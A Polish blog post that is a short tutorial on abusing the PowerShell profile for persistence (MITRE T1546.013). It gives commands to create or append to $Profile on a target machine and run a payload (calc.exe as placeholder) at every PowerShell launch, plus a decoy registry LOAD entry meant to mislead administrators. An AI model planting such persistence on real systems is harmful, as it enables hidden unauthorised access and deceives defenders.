vegeta_ssj@saiyajinz:~/posty/ps_profile$

pozostać niezapomnianym

3 minut czytania opublikowano: 23.03.2021

nadużycie profilu powershell
Znam MITRE ATT&CK® na pamięć. Zapoznawanie się z technikami używanymi przez
najlepszych jest bardzo inspirujące. Jedną z metod zapewnienienia sobie
stałego dostępu zainteresowała mnie bardziej niż bardzo z uwagi na fakt, że
nie wymagała uprawnień admina i pozwala pozostać niezapomnianym bez 
upuszczania podejrzanych binariów. Wydaje mi się też dosyć nieoczywista i nie 
jest specjalnie często używana toteż nie wzbudza zainteresowania obrońców.

microsoft.com/module/microsoft.powershell.core/about/about_profiles
https://attack.mitre.org/techniques/T1546/013

PowerShell umożliwa opcję utworzenia profili dla użytkownika które załadują
jego indywidualne ustawienia i preferencje przy każdym uruchomieniu 
powershell.exe.

Możesz sobie wrzucić doń taki skrypcik:

if($Host.UI.RawUI.WindowTitle -like "*administrator*")
{
	$Host.UI.RawUI.ForegroundColor = "Red"
}

i wtedy przy każdym opaleniu powershella jako admin napisy w konsolce będą
czerwone :D



Bez zbędnego pierdolenia. Jak to mówią informatyki TL:DR.

W zmiennej $Profile przechowywane jest info o ścieżce do pliku w którym
jest twoja konfiguracja:

PS C:\Users\IEUser> $Profile
IEUser\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1

Jeżeli admin/user stacji którą chcesz zarobaczyć nie korzystał z tego
ficzera to stwórz plik:

New-Item -Path $Profile -Type File -Force

Możesz wcześniej sprawdzić czy profil już jest:

Test-Path $Profile

Następnie wrzuć payload (jeżeli profil istniał >> nie >, żeby 
nie skasować starych ustawień.

echo "calc.exe" >> $Profile

Dziękuje xD Przy każdym uruchomieniu powershell.exe odpali się kalkulator.
Potencjalnie jak admin zjarzy się, że jest infekcja to przejebe rejestr,
serwisy, shtaski ale ostatnio do czego zajrzy to $Profile.

Można mu nawet dla niepoznaki zapodać coś oczywistego typu:

Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows NT\Current
Version\Windows" -Name LOAD -Value $Payload

Pomyśli, że znalazł i może nie postawi systemu/serwera na nowo xD